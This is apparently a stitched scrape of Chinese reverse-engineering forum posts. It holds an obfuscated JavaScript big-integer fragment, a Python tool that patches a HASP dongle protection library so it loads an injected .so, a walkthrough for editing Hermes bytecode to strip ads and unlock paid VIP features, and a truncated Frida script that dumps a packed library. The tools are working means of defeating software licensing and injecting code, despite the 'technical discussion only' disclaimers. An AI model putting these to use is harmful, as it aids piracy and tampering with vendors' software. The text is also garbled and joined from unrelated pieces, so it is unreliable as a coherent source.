\'prototype\'
][
\'fromString\'
]
=
function(_0x4ec61a, _0x54fd36) {
\\n
var _0x4e4aa4;
\\n
if
(_0x495033[
\'JGYXo\'
](
0x10
, _0x54fd36))
\\n
_0x4e4aa4
=
0x4
;
\\n
else
if
(_0x495033[
\'JGYXo\'
](
0x8
, _0x54fd36))
\\n
_0x4e4aa4
=
0x3
;
\\n
else
if
(
0x100
=
=
_0x54fd36)
\\n
_0x4e4aa4
=
0x8
;
\\n
else
if
(
0x2
=
=
_0x54fd36)
\\n
_0x4e4aa4
=
0x1
;
\\n
else
if
(
0x20
=
=
_0x54fd36)
\\n
_0x4e4aa4
=
0x5
;
\\n
else
{
\\n
if
(
0x4
!
=
_0x54fd36)
\\n
return
void this[
\'fromRadix\'
](_0x4ec61a, _0x54fd36);
\\n
_0x4e4aa4
=
0x2
;
\\n
}
\\n
this[
\'t\'
]
=
0x0
,
\\n
this[
\'s\'
]
=
0x0
;
\\n
for
(var _0x3feedf
=
_0x4ec61a[
\'length\'
], _0x26405f
=
!
0x1
, _0x60ba00
=
0x0
;
-
-
_0x3feedf >
=
0x0
; ) {
\\n
var _0x256069
=
0x8
=
=
_0x4e4aa4 ?
0xff
& _0x4ec61a[_0x3feedf] : _0x10aeb0(_0x4ec61a, _0x3feedf);
\\n
_0x256069 <
0x0
? _0x495033[
\'DKWdp\'
](
\'-\'
, _0x4ec61a[
\'charAt\'
](_0x3feedf)) && (_0x26405f
=
!
0x0
) : (_0x26405f
=
!
0x1
,
\\n
0x0
=
=
_0x60ba00 ? this[this[
\'t\'
]
+
+
]
=
_0x256069 : _0x495033[
\'jbiNJ\'
](_0x60ba00, _0x4e4aa4) > this[
\'DB\'
] ? (this[this[
\'t\'
]
-
0x1
] |
=
(_0x256069 & (
0x1
<< this[
\'DB\'
]
-
_0x60ba00)
-
0x1
) << _0x60ba00,
\\n
this[this[
\'t\'
]
+
+
]
=
_0x256069 >> this[
\'DB\'
]
-
_0x60ba00) : this[this[
\'t\'
]
-
0x1
] |
=
_0x495033[
\'uLcaf\'
](_0x256069, _0x60ba00),
\\n
_0x495033[
\'fFTKY\'
](_0x60ba00
+
=
_0x4e4aa4, this[
\'DB\'
]) && (_0x60ba00
-
=
this[
\'DB\'
]));
\\n
}
\\n
0x8
=
=
_0x4e4aa4 &&
0x0
!
=
_0x495033[
\'pgDxk\'
](
0x80
, _0x4ec61a[
0x0
]) && (this[
\'s\'
]
=
-
0x1
,
\\n
_0x60ba00 >
0x0
&& (this[this[
\'t\'
]
-
0x1
] |
=
_0x495033[
\'uLcaf\'
]((
0x1
<< _0x495033[
\'jnDMy\'
](this[
\'DB\'
], _0x60ba00))
-
0x1
, _0x60ba00))),
\\n
this[
\'clamp\'
](),
\\n
_0x26405f && _0x59ca79[
\'ZERO\'
][
\'subTo\'
](this, this);
\\n
}
\\n
,
\\n
_0x59ca79[
\'prototype\'
][
\'clamp\'
]
=
function() {
\\n
for
(var _0x524ab4
=
this[
\'s\'
] & this[
\'DM\'
]; this[
\'t\'
] >
0x0
&& this[_0x337f99[
\'DYHQZ\'
](this[
\'t\'
],
0x1
)]
=
=
_0x524ab4; )
\\n
-
-
this[
\'t\'
];
\\n
}
\\n
,
\\n
_0x59ca79[
\'prototype\'
][
\'dlShiftTo\'
]
=
function(_0x127b5a, _0x5a3f5d) {
\\n
var _0x3ae35a;
\\n
for
(_0x3ae35a
=
_0x495033[
\'jnDMy\'
](this[
\'t\'
],
0x1
); _0x3ae35a >
=
0x0
;
-
-
_0x3ae35a)
\\n
_0x5a3f5d[_0x3ae35a
+
_0x127b5a]
=
this[_0x3ae35a];
\\n
for
(_0x3ae35a
=
_0x495033[
\'FtodS\'
](_0x127b5a,
0x1
); _0x3ae35a >
=
0x0
;
-
-
_0x3ae35a)
\\n
_0x5a3f5d[_0x3ae35a]
=
0x0
;
\\n
_0x5a3f5d[
\'t\'
]
=
_0x495033[
\'NAEpD\'
](this[
\'t\'
], _0x127b5a),
\\n
_0x5a3f5d[
\'s\'
]
=
this[
\'s\'
];
\\n
}
\\n
,
\\n
_0x59ca79[
\'prototype\'
][
\'drShiftTo\'
]
=
function(_0x491999, _0x11a0b1) {
\\n
for
(var _0x34467b
=
_0x491999; _0x34467b < this[
\'t\'
];
+
+
_0x34467b)
\\n
_0x11a0b1[_0x34467b
-
_0x491999]
=
this[_0x34467b];
\\n
_0x11a0b1[
\'t\'
]
=
Math[
\'max\'
](_0x495033[
\'FtodS\'
](this[
\'t\'
], _0x491999),
0x0
),
\\n
_0x11a0b1[
\'s\'
]
=
this[
\'s\'
];
\\n
}
\\n
,
\\n
_0x59ca79[
\'prototype\'
][
\'lShiftTo\'
]
=
function(_0x4a74ad, _0x396269) {
\\n
var _0x5b8409, _0x3b0ced
=
_0x495033[
\\"\\\\u004e\\\\u0043\\\\u0072\\\\u0041\\\\u0051\\"
](_0x4a74ad, this[
\'DB\'
]), _0x10ba0f
=
this[
\'DB\'
]
-
_0x3b0ced, _0x41ca43
=
_0x495033[
\'jnDMy\'
](
0x1
<< _0x10ba0f,
0x1
), _0x3ce424
=
Math[
\'floor\'
](_0x495033[
\'Rbmel\'
](_0x4a74ad, this[
\'DB\'
])), _0x3d2ed7
=
_0x495033[
\'siLbZ\'
](this[
\'s\'
] << _0x3b0ced, this[
\'DM\'
]);
\\n
for
(_0x5b8409
=
this[
\'t\'
]
-
0x1
; _0x5b8409 >
=
0x0
;
-
-
_0x5b8409)
\\n
_0x396269[_0x5b8409
+
_0x3ce424
+
0x1
]
=
this[_0x5b8409] >> _0x10ba0f | _0x3d2ed7,
\\n
_0x3d2ed7
=
(this[_0x5b8409] & _0x41ca43) << _0x3b0ced;
\\n
for
(_0x5b8409
=
_0x495033[
\'Uzghn\'
](_0x3ce424,
0x1
); _0x5b8409 >
=
0x0
;
-
-
_0x5b8409)
\\n
_0x396269[_0x5b8409]
=
0x0
;
\\n
_0x396269[_0x3ce424]
=
_0x3d2ed7,
\\n
_0x396269[
\'t\'
]
=
_0x495033[
\'NAEpD\'
](this[
\'t\'
], _0x3ce424)
+
0x1
,
\\n
_0x396269[
\'s\'
]
=
this[
\'s\'
],
\\n
_0x396269[
\'clamp\'
]();
\\n
}
\\n
,
\\n
_0x59ca79[
\'prototype\'
][
\'rShiftTo\'
]
=
function(_0x196e06, _0x618c6c) {
\\n
_0x618c6c[
\'s\'
]
=
this[
\'s\'
];
\\n
var _0x2625e7
=
Math[
\'floor\'
](_0x196e06
/
this[
\'DB\'
]);
\\n
if
(_0x2625e7 >
=
this[
\'t\'
])
\\n
_0x618c6c[
\'t\'
]
=
0x0
;
\\n
else
{
\\n
var _0x18d979
=
_0x337f99[
\'deNGZ\'
](_0x196e06, this[
\'DB\'
])
\\n
, _0x195461
=
_0x337f99[
\'DYHQZ\'
](this[
\'DB\'
], _0x18d979)
\\n
, _0x4ef2d5
=
_0x337f99[
\'DYHQZ\'
](
0x1
<< _0x18d979,
0x1
);
\\n
_0x618c6c[
0x0
]
=
this[_0x2625e7] >> _0x18d979;
\\n
for
(var _0x17d5a2
=
_0x2625e7
+
0x1
; _0x17d5a2 < this[
\'t\'
];
+
+
_0x17d5a2)
\\n
_0x618c6c[_0x337f99[
\'DYHQZ\'
](_0x17d5a2, _0x2625e7)
-
0x1
] |
=
(this[_0x17d5a2] & _0x4ef2d5) << _0x195461,
\\n
_0x618c6c[_0x17d5a2
-
_0x2625e7]
=
_0x337f99[
\'KbFOT\'
](this[_0x17d5a2], _0x18d979);
\\n
_0x18d979 >
0x0
&& (_0x618c6c[_0x337f99[
\'DYHQZ\'
](_0x337f99[
\'DYHQZ\'
](this[
\'t\'
], _0x2625e7),
0x1
)] |
=
_0x337f99[
\'FTCXD\'
](this[
\'s\'
] & _0x4ef2d5, _0x195461)),
\\n
_0x618c6c[
\'t\'
]
=
this[
\'t\'
]
-
_0x2625e7,
\\n
_0x618c6c[
\'clamp\'
]();
\\n
}
\\n
}
\\n
,
\\n
_0x59ca79[
\'prototype\'
][
\'subTo\'
]
=
function(_0x4dbc12, _0x20a2d1) {
\\n
for
(var _0x189c46
=
0x0
, _0x30233b
=
0x0
, _0x4252e4
=
Math[
\'min\'
](_0x4dbc12[
\'t\'
], this[
\'t\'
]); _0x337f99[
\'kiEVa\'
](_0x189c46, _0x4252e4); )
\\n
_0x30233b
+
=
_0x337f99[
\'DYHQZ\'
](this[_0x189c46], _0x4dbc12[_0x189c46]),
\\n
_0x20a2d1[_0x189c46
+
+
]
=
_0x337f99[
\'Vdwnb\'
](_0x30233b, this[
\'DM\'
]),
\\n
_0x30233b >>
=
this[
\'DB\'
];
\\n
if
(_0x4dbc12[
\'t\'
] < this[
\'t\'
]) {
\\n
for
(_0x30233b
-
=
_0x4dbc12[
\'s\'
]; _0x189c46 < this[
\'t\'
]; )
\\n
_0x30233b
+
=
this[_0x189c46],
\\n
_0x20a2d1[_0x189c46
+
+
]
=
_0x30233b & this[
\'DM\'
],
\\n
_0x30233b >>
=
this[
\'DB\'
];
\\n
_0x30233b
+
=
this[
\'s\'
];
\\n
}
else
{
\\n
for
(_0x30233b
+
=
this[
\'s\'
]; _0x189c46 < _0x4dbc12[
\'t\'
]; )
\\n
_0x30233b
-
=
_0x4dbc12[_0x189c46],
\\n
_0x20a2d1[_0x189c46
+
+
]
=
_0x337f99[
\'peDge\'
](_0x30233b, this[
\'DM\'
]),
\\n
_0x30233b >>
=
this[
\'DB\'
];
\\n
_0x30233b
-
=
_0x4dbc12[
\'s\'
];
\\n
}
\\n
_0x20a2d1[
\'s\'
]
=
_0x30233b <
0x0
?
-
0x1
:
0x0
,
\\n
_0x30233b <
-
0x1
? _0x20a2d1[_0x189c46
+
+
]
=
this[
\'DV\'
]
+
_0x30233b : _0x337f99[
\'RShhk\'
](_0x30233b,
0x0
) && (_0x20a2d1[_0x189c46
+
+
]
=
_0x30233b),
\\n
_0x20a2d1[
\'t\'
]
=
_0x189c46,
\\n
_0x20a2d1[
\'clamp\'
]();
\\n
}
\\n\'value\'
: function(_0x29b3a1, _0x105de1, _0x46790f, _0x5db7e4) {
\\n
var _0x495033
=
{
\\n
\'jnDMy\'
: function(_0x399cc7, _0x21f72e) {
\\n
return
_0x399cc7
-
_0x21f72e;
\\n
},
\\n
\'kREPA\'
: function(_0x27b72a, _0x456f3a) {
\\n
return
_0x27b72a >> _0x456f3a;
\\n[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
\\n\\n1 2 | 主要是对某safe加密锁的android保护库的补丁工具,最开始是手动修改代码,极不方便。有了这个脚本工具可一键生成补丁,轻松自在。 先用IDA加载libhasp_android_x.so大概分析一下,下面是导出函数表 |
实际要操作的就两函数,一个是 hasp_login_scope,另外一个是 hasp_update.因为hasp_update一般程序中用不到,所以会把补丁代码放到这部分。双击hasp_login_scope进入,会看到函数的前面有些空调函数可以利用,nullsub我为了好记就叫他空调函数吧。
以后脚本会把 BL nullsub_4(nullsub_1也行)也成BL hasp_update,这样当程序调用加密锁时(一般第一就是hasp_login_scope)就会先来到hasp_update,下一步修改hasp_update字节,实现dlopen加载另外一个so
![export ]
修改后的hasp_update里用到的字符串,和dlopen是需要重定位,要修正地址的,手动修改比较麻烦,有计算公式可自行bing chat,有了脚本就省事多了。其实脚本也参考bing AI. AI真是个宝!
再来看看原dlopen的地址
脚本上要用到dlopen,hasp_login_scope,及hasp_update的地址,还是给出脚本脚本,然后你找一个合适的so去研究吧。其它linux类的都可以这样做加载补丁,可研究修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 | import logging from elftools.elf.elffile import ELFFile #需要手动修改的仅2处 #dlopen函数地址 plt_dlopen_of = 0x00007264 plt_dlopen_of = 0x00005B70 #老 #hasp_login_scope中找个空调函数,IDA辅助找合适位置 hasp_login_scope_BL = 0xA6B0 #固定或可以自动定位的 FileOrg = \\"libhasp_android_xxxx.so\\" #新生成的文件 FileNew = FileOrg + \\".new\\" #hasp_update偏移,可以自动定位 hasp_update_of = 0x00000000 # 字符串所在偏移 FileNameAdd = 0x00000000 #字节码补丁可实现调用id_xxx1.so hasp_update_code_new = b \'\\\\x00\\\\x48\\\\x2D\\\\xE9\\\\x0D\\\\xB0\\\\xA0\\\\xE1\\\\x0C\\\\x00\\\\x9F\\\\xE5\\\\x00\\\\x00\\\\x8F\\\\xE0\\\\x01\\\\x10\\\\x00\\\\xE3\\\\x1C\\\\x00\\\\x00\\\\xEB\\\\x00\\\\x88\\\\xBD\\\\xE8\\\\xEA\\\\xFC\\\\xFF\\\\xFF\' # 配置日志记录 logging.basicConfig( filename = \'AutoFixSo.log\' , # 指定日志文件名 filemode = \'w\' , # 写入模式,\'w\'表示覆盖写入,\'a\'表示追加写入 format = \'%(asctime)s - %(levelname)s - %(message)s\' , # 日志格式 datefmt = \'%Y-%m-%d %H:%M:%S\' , # 日期格式 level = logging.DEBUG # 日志级别 ) def find_string_offset(binary_file, search_string): with open (binary_file, \'rb\' ) as f: data = f.read() index = data.find(search_string.encode()) if index ! = - 1 : print (f \\"Found \'{search_string}\' at offset 0x{index:X}\\" ) return index else : print (f \\"String \'{search_string}\' not found in the binary file.\\" ) return - 1 #文件名libhasp_android_xxx1.so的偏移地址 FileNameAdd = find_string_offset(FileOrg,FileOrg) def list_exported_functions(elf_file_path,fun_name): with open (elf_file_path, \'rb\' ) as file : elf = ELFFile( file ) symtab = elf.get_section_by_name( \'.dynsym\' ) if not symtab: print ( \\"No dynamic symbol table found.\\" ) return 0 for symbol in symtab.iter_symbols(): if symbol[ \'st_info\' ][ \'type\' ] = = \'STT_FUNC\' : #print(symbol.name) if symbol.name = = fun_name: print (f \\"Function: {symbol.name}, Address: 0x{symbol[\'st_value\']:X}\\" ) return symbol[ \'st_value\' ] #取ELF中目标函数的偏移地址 hasp_update_of = list_exported_functions(FileOrg, \\"hasp_update\\" ) logging.info(f \\"hasp_update_of = 0x{hasp_update_of:x}\\" ) logging.info(f \\"plt_dlopen_of = 0x{plt_dlopen_of:x}\\" ) logging.info(f \\"hasp_login_scope_nullsub = 0x{hasp_login_scope_BL:x}\\" ) logging.info(f \\"FileNameAdd = 0x{FileNameAdd:x}\\" ) def modify_high_byte(dword, new_byte): # 清除高第一个字节 dword & = 0x00FFFFFF # 设置新的高第一个字节 dword | = (new_byte << 24 ) return dword # 打开二进制文件 with open (FileOrg, \'rb\' ) as f: data = f.read() # 打开文件以写入模式 with open (FileNew, \'wb\' ) as f: # 将数据写回文件 f.write(data) # 移动到需要修改的位置hasp_update f.seek(hasp_update_of) # 写入新的二进制数据 f.write(hasp_update_code_new) print (f \\"patch hasp_update done\\" ) #修正 BL dlopen BL_dlopen_of = hasp_update_of + 0x14 print (f \\"patch BL dlopen @ 0x{BL_dlopen_of:X}\\" ) f.seek(BL_dlopen_of) #计算跳转 dwTmp = plt_dlopen_of - (BL_dlopen_of + 8 ) dwTmp2 = int (dwTmp / 4 ) print (f \\"dwTmp2 {hex(dwTmp2 & 0xffffffff)}\\" ) newByte = 0xeb newDWORD = modify_high_byte(dwTmp2,newByte) newCode = newDWORD.to_bytes( 4 ,byteorder = \'little\' ) f.write(newCode) #修正字符串 7dc0 - 7DA4 = 1c newStrof = FileNameAdd - BL_dlopen_of + 0x0d newStrof = newStrof & 0xFFFFFFFF f.seek(hasp_update_of + 0x1c ) newCode = newStrof.to_bytes( 4 ,byteorder = \'little\' ) f.write(newCode) #计算跳转 (0x00007DA4 - (0x0000BF34+8))/4 = FFFFEF9A dwTmp = hasp_login_scope_BL + 8 dwNew2 = int ((hasp_update_of - dwTmp) / 4 ) print (f \\"DWORD {hex(dwNew2 & 0xffffffff)}\\" ) newByte = 0xeb hasp_login_scope_BL_CODE = modify_high_byte(dwNew2,newByte) print (f \\"hasp_login_scope_BL_CODE {hex(hasp_login_scope_BL_CODE & 0xffffffff)}\\" ) #修改hasp_login_scope中的空调函数,跳到hasp_update f.seek(hasp_login_scope_BL) bData = hasp_login_scope_BL_CODE.to_bytes( 4 ,byteorder = \'little\' ) f.write(bData) f.close() |
最近没什么事,找了个看视频App,发现又是广告又是视频植入的,烦不胜烦,想着花点时间去个广告捣鼓捣鼓。本文只为了技术分享讨论,切勿使用技术进行非法用途。
apk拿过来先拖动到jadx查看
loadAd大概率就是加载广告的地方,点到这个类中往下滑,发现有show方法,通过修改改对应dex的smail将show改为空,改好后将smail文件夹重新编译为dex,在放到jadx中验证是否错误。
上面这个是splash,然后依次将插屏,banner都像这样修改掉。
这都是基础的修改smail,不在本文中详细描述。
React native的代码打包都都放在assets下的index.android.bundle中,正常情况会将代码压缩,混淆,但是我这个apk中的index.android.bundle打开并未显示js代码,拖到notepad++中发现
乱码显示,摸索了一下java代码发现
这里比较可疑,应该是乱码的源头,然后搜索关键字Hermes,发现这是一个对于React native的JavaScript引擎,将js代码都编译为bytecode,Hermes引擎会优化React native应用的启动速度和文件大小。
本来想使用frida大法,将assets读取文件内容,执行Js引擎时将内容直接打印出来,无奈,找了半天源码没发现好的切入点,发现一个开源的反编译工具,hbctool,官方也有hbcdump提供反编译工具,使用hbcdump执行反编译提示
1 | Error: fail to deserializing bytecode: Wrong bytecode version. Expected 96 but got 90 |
看上去是我的index.android.bundle样本的hbc版本是90,我下载的最新版本hbcdump为96,找到hbcdump 90的工具后执行
\\n1 2 | hbcdump.exe index.android.bundle - mode = hbc - out = myout.js disassemble |
在当前目录将会看到
反编译的结果,但是但是,还没这么快结束。由于我的目的是需要去广告,解锁会员功能,所以修改js代码后还需要回编译,但是官方的这个工具找了半天也没发现有什么文档说明怎么编译回去。无奈切换为另外一个作者的hbctool工具
https://github.com/bongtrop/hbctool
这个工具在pull request中有90和94的反编译源码提供,感谢每一个开源的作者。在文章末尾我也会将我使用到的代码上传提供下载使用。
将源码下载,在pycharm中打开,添加hbc90目录,
在__init__.py中添加90版本的处理,
执行disasm将会反编译文件,执行asm将会把反编译修改的的文件夹编译回index.android.bundle
反编译后的文件夹内容
instruction.hasm便是源码,string.json是字符表,metadata.json看上去是文件的描述符和完整性验证使用的文件,没有仔细研究这个文件。
按照我的目的我应该去修改instruction.hasm,打开instruction.hasm查看。
不认识这种代码,后来搜索到相关文章有描述操作符之类的说明,现在已经忘记了。
仔细看代码,和汇编有些相似,但是看上去比汇编简单很多,都是左边一个指令右边操作数,例如
1 2 3 4 5 6 7 8 9 10 | LoadConstTrue Reg8: 22 将一个 8 位的寄存器 22 设置为true Mov Reg8: 22 , Reg8: 25 将 25 寄存器的值赋值給寄存器 22 LoadConstString Reg8: 39 , UInt16: 16781 加载一个字符到 39 寄存器,字符 id 为 16781 ,查看string.json可以找到这个字符的值。 { \\"id\\" : 16781 , \\"isUTF16\\" : false, \\"value\\" : \\"contain\\" } LoadConstTrue Reg8: 4 将寄存器 4 设为true LoadConstFalse Reg8: 4 将寄存器 4 设为false |
接下来只要找到Vip字样相关的地方,修改为true,将反编译后的文件夹重新编译为index.android.bundle,替换assets下面的index.android.bundle,使用apktool重新打包就完成了。
\\n本文仅限于技术讨论,不得用于非法途径,后果自负。
\\n
在这个so中init_proc 负责在内存中解密so中的JNI_OnLoad,并且填充导入表,值得注意的是,如果你hook了initProc 那么会导致JNI_OnLoad解密失败,这部分原因笔者不在细究,有兴趣的自行研究。
由于初始so关键信息被抹除,我们需要在init_proc 执行完之后dump so 用作静态分析,这里采用hook libc的__dl__ZL10call_arrayIPFviPPcS1_EEvPKcPT_jbS5_(每台手机有可能不一样),在调用initarray的第一个函数时dump。
\\n这里使用的是git上https://github.com/Chenyangming9/SoFixer 修复后发现导入表被initProc填充为绝对地址,需要还原符号。
发现ida 自动生成的extern表 这里直接拿到ida自动生成的表地址,通过frida的符号解析出so中的导入表中的每一个表指向的函数名称,进行比对然后将dump下来的so中的导入表填充ida的extern表 dump脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | dump() { if (this.libso = = null) { return - 1 ; } var file_path = this.path + \\"/\\" + this.soName; logd( \\"dump so:\\" + this.soName + \\" to \\" + file_path); var file_handle = new File (file_path, \\"wb+\\" ); if (file_handle && file_handle ! = null) { Memory.protect(ptr(this.libso.base.toString()), this.libso.size, \'rwx\' ); logd( \\"libso_buffer:\\" + ptr(this.libso.base.toString()) + \\" \\" + this.libso.size); var libso_buffer = ptr(this.libso.base.toString()).readByteArray(this.libso.size); this.patchGot(libso_buffer!) var pGot = new BigInt64Array(libso_buffer!, 0x1352B8 , 424 ) / / 创建extern 表 var table = [{ key: 0x155000 , value: \\"sleep\\" }, { key: 0x155008 , value: \\"popen\\" }, { key: 0x155010 , value: \\"mprotect\\" }, { key: 0x155018 , value: \\"sigemptyset\\" }, { key: 0x155020 , value: \\"lseek64\\" }, { key: 0x155028 , value: \\"deflateEnd\\" }, { key: 0x155030 , value: \\"pipe\\" }, { key: 0x155038 , value: \\"atoi\\" }, { key: 0x155040 , value: \\"pthread_create\\" }, { key: 0x155048 , value: \\"wait\\" }, { key: 0x155050 , value: \\"realloc\\" }, { key: 0x155058 , value: \\"open\\" }, { key: 0x155060 , value: \\"pthread_key_create\\" }, { key: 0x155068 , value: \\"inflate\\" }, { key: 0x155070 , value: \\"pthread_once\\" }, { key: 0x155078 , value: \\"__cxa_finalize\\" }, { key: 0x155080 , value: \\"ftell\\" }, { key: 0x155088 , value: \\"ptrace\\" }, { key: 0x155090 , value: \\"siglongjmp\\" }, { key: 0x155098 , value: \\"mkdir\\" }, { key: 0x1550A0 , value: \\"setpgid\\" }, { key: 0x1550A8 , value: \\"calloc\\" }, { key: 0x1550B0 , value: \\"fread\\" }, { key: 0x1550B8 , value: \\"syslog\\" }, { key: 0x1550C0 , value: \\"stpcpy\\" }, { key: 0x1550C8 , value: \\"inflateInit2_\\" }, { key: 0x1550D0 , value: \\"AAsset_getBuffer\\" }, { key: 0x1550D8 , value: \\"strncmp\\" }, { key: 0x1550E0 , value: \\"read\\" }, { key: 0x1550E8 , value: \\"fstat\\" }, { key: 0x1550F0 , value: \\"inotify_rm_watch\\" }, { key: 0x1550F8 , value: \\"strncasecmp\\" }, { key: 0x155100 , value: \\"AAsset_close\\" }, { key: 0x155108 , value: \\"pthread_mutex_init\\" }, { key: 0x155110 , value: \\"signal\\" }, { key: 0x155118 , value: \\"abort\\" }, { key: 0x155120 , value: \\"closedir\\" }, { key: 0x155128 , value: \\"strerror\\" }, { key: 0x155130 , value: \\"lstat\\" }, { key: 0x155138 , value: \\"lstat64\\" }, { key: 0x155140 , value: \\"_exit\\" }, { key: 0x155148 , value: \\"__errno\\" }, { key: 0x155150 , value: \\"srand\\" }, { key: 0x155158 , value: \\"snprintf\\" }, { key: 0x155160 , value: \\"getpid\\" }, { key: 0x155168 , value: \\"dl_iterate_phdr\\" }, { key: 0x155170 , value: \\"strcat\\" }, { key: 0x155178 , value: \\"sscanf\\" }, { key: 0x155180 , value: \\"android_set_abort_message\\" }, { key: 0x155188 , value: \\"deflate\\" }, { key: 0x155190 , value: \\"islower\\" }, { key: 0x155198 , value: \\"isupper\\" }, { key: 0x1551A0 , value: \\"write\\" }, { key: 0x1551A8 , value: \\"toupper\\" }, { key: 0x1551B0 , value: \\"getenv\\" }, { key: 0x1551B8 , value: \\"strcasecmp\\" }, { key: 0x1551C0 , value: \\"strrchr\\" }, { key: 0x1551C8 , value: \\"access\\" }, { key: 0x1551D0 , value: \\"time\\" }, { key: 0x1551D8 , value: \\"rand\\" }, { key: 0x1551E0 , value: \\"__sF\\" }, { key: 0x1551E8 , value: \\"memcmp\\" }, { key: 0x1551F0 , value: \\"fclose\\" }, { key: 0x1551F8 , value: \\"lseek\\" }, { key: 0x155200 , value: \\"fputs\\" }, { key: 0x155208 , value: \\"rewind\\" }, { key: 0x155210 , value: \\"fputc\\" }, { key: 0x155218 , value: \\"__stack_chk_fail\\" }, { key: 0x155220 , value: \\"fgets\\" }, { key: 0x155228 , value: \\"select\\" }, { key: 0x155230 , value: \\"fork\\" }, { key: 0x155238 , value: \\"gettimeofday\\" }, { key: 0x155240 , value: \\"dlclose\\" }, { key: 0x155248 , value: \\"pthread_cond_wait\\" }, { key: 0x155250 , value: \\"strftime\\" }, { key: 0x155258 , value: \\"memchr\\" }, { key: 0x155260 , value: \\"prctl\\" }, { key: 0x155268 , value: \\"ioctl\\" }, { key: 0x155270 , value: \\"strcasestr\\" }, { key: 0x155278 , value: \\"pthread_setspecific\\" }, { key: 0x155280 , value: \\"strncpy\\" }, { key: 0x155288 , value: \\"opendir\\" }, { key: 0x155290 , value: \\"dlsym\\" }, { key: 0x155298 , value: \\"atol\\" }, { key: 0x1552A0 , value: \\"openlog\\" }, { key: 0x1552A8 , value: \\"__stack_chk_guard\\" }, { key: 0x1552B0 , value: \\"environ\\" }, { key: 0x1552B8 , value: \\"__android_log_print\\" }, { key: 0x1552C0 , value: \\"inotify_init\\" }, { key: 0x1552C8 , value: \\"unlink\\" }, { key: 0x1552D0 , value: \\"inflateEnd\\" }, { key: 0x1552D8 , value: \\"setenv\\" }, { key: 0x1552E0 , value: \\"sysconf\\" }, { key: 0x1552E8 , value: \\"strchr\\" }, { key: 0x1552F0 , value: \\"tolower\\" }, { key: 0x1552F8 , value: \\"fseek\\" }, { key: 0x155300 , value: \\"strcmp\\" }, { key: 0x155308 , value: \\"flock\\" }, { key: 0x155310 , value: \\"fgetc\\" }, { key: 0x155318 , value: \\"sprintf\\" }, { key: 0x155320 , value: \\"strncat\\" }, { key: 0x155328 , value: \\"sigaction\\" }, { key: 0x155330 , value: \\"pthread_mutex_lock\\" }, { key: 0x155338 , value: \\"mmap\\" }, { key: 0x155340 , value: \\"setjmp\\" }, { key: 0x155348 , value: \\"closelog\\" }, { key: 0x155350 , value: \\"pthread_getspecific\\" }, { key: 0x155358 , value: \\"AAssetManager_open\\" }, { key: 0x155360 , value: \\"memmove\\" }, { key: 0x155368 , value: \\"ferror\\" }, { key: 0x155370 , value: \\"isxdigit\\" }, { key: 0x155378 , value: \\"inotify_add_watch\\" }, { key: 0x155380 , value: \\"AAsset_getLength\\" }, { key: 0x155388 , value: \\"readlink\\" }, { key: 0x155390 , value: \\"strstr\\" }, { key: 0x155398 , value: \\"getpagesize\\" }, { key: 0x1553A0 , value: \\"strdup\\" }, { key: 0x1553A8 , value: \\"strtok\\" }, { key: 0x1553B0 , value: \\"usleep\\" }, { key: 0x1553B8 , value: \\"kill\\" }, { key: 0x1553C0 , value: \\"readdir\\" }, { key: 0x1553C8 , value: \\"fdopen\\" }, { key: 0x1553D0 , value: \\"strlen\\" }, { key: 0x1553D8 , value: \\"crc32\\" }, { key: 0x1553E0 , value: \\"exit\\" }, { key: 0x1553E8 , value: \\"close\\" }, { key: 0x1553F0 , value: \\"vasprintf\\" }, { key: 0x1553F8 , value: \\"remove\\" }, { key: 0x155400 , value: \\"dlopen\\" }, { key: 0x155408 , value: \\"stat\\" }, { key: 0x155410 , value: \\"localtime\\" }, { key: 0x155418 , value: \\"rename\\" }, { key: 0x155420 , value: \\"munmap\\" }, { key: 0x155428 , value: \\"get_crc_table\\" }, { key: 0x155430 , value: \\"fprintf\\" }, { key: 0x155438 , value: \\"malloc\\" }, { key: 0x155440 , value: \\"memcpy\\" }, { key: 0x155448 , value: \\"waitpid\\" }, { key: 0x155450 , value: \\"deflateInit2_\\" }, { key: 0x155458 , value: \\"connect\\" }, { key: 0x155460 , value: \\"memset\\" }, { key: 0x155468 , value: \\"fopen\\" }, { key: 0x155470 , value: \\"AAssetManager_fromJava\\" }, { key: 0x155478 , value: \\"socket\\" }, { key: 0x155480 , value: \\"pthread_cond_broadcast\\" }, { key: 0x155488 , value: \\"sigsetjmp\\" }, { key: 0x155490 , value: \\"pclose\\" }, { key: 0x155498 , value: \\"strtol\\" }, { key: 0x1554A0 , value: \\"pthread_kill\\" }, { key: 0x1554A8 , value: \\"free\\" }, { key: 0x1554B0 , value: \\"fscanf\\" }, { key: 0x1554B8 , value: \\"strcpy\\" }, { key: 0x1554C0 , value: \\"__system_property_get\\" }, { key: 0x1554C8 , value: \\"pwrite\\" }, { key: 0x1554D0 , value: \\"pthread_exit\\" }, { key: 0x1554D8 , value: \\"symlink\\" }, { key: 0x1554E0 , value: \\"vfprintf\\" }, { key: 0x1554E8 , value: \\"pthread_mutex_unlock\\" }, { key: 0x1554F0 , value: \\"clock_gettime\\" }, { key: 0x1554F8 , value: \\"__cxa_atexit\\" }, { key: 0x155500 , value: \\"isspace\\" }] var base = this.libso.base for (var i = 0 ; i < pGot.length; i + + ) { var addr = pGot[i] var funcName = DebugSymbol.fromAddress(ptr(addr.toString())).toString().split( \\"!\\" )[ 1 ] logd( \\"pgot1:\\" + i + \\" \\" + ptr(addr.toString()) + \\" \\" + funcName) table.forEach(function (item: any ) { var name = item[ \\"value\\" ].toString() if (funcName?.indexOf(name) ! = - 1 && funcName?.length > 0 ) { pGot[i] = BigInt(ptr(item[ \\"key\\" ]).toString()) logd( \\"replace pgot:\\" + i + funcName + \\" \\" + ptr( 0x1352B8 ).add(i * 8 ).add(base).readPointer() + \\" \\" + ptr(pGot[i - 1 ].toString()) + \\" \\" + name + \\" to \\" + ptr(item[ \\"key\\" ])) return } }) if 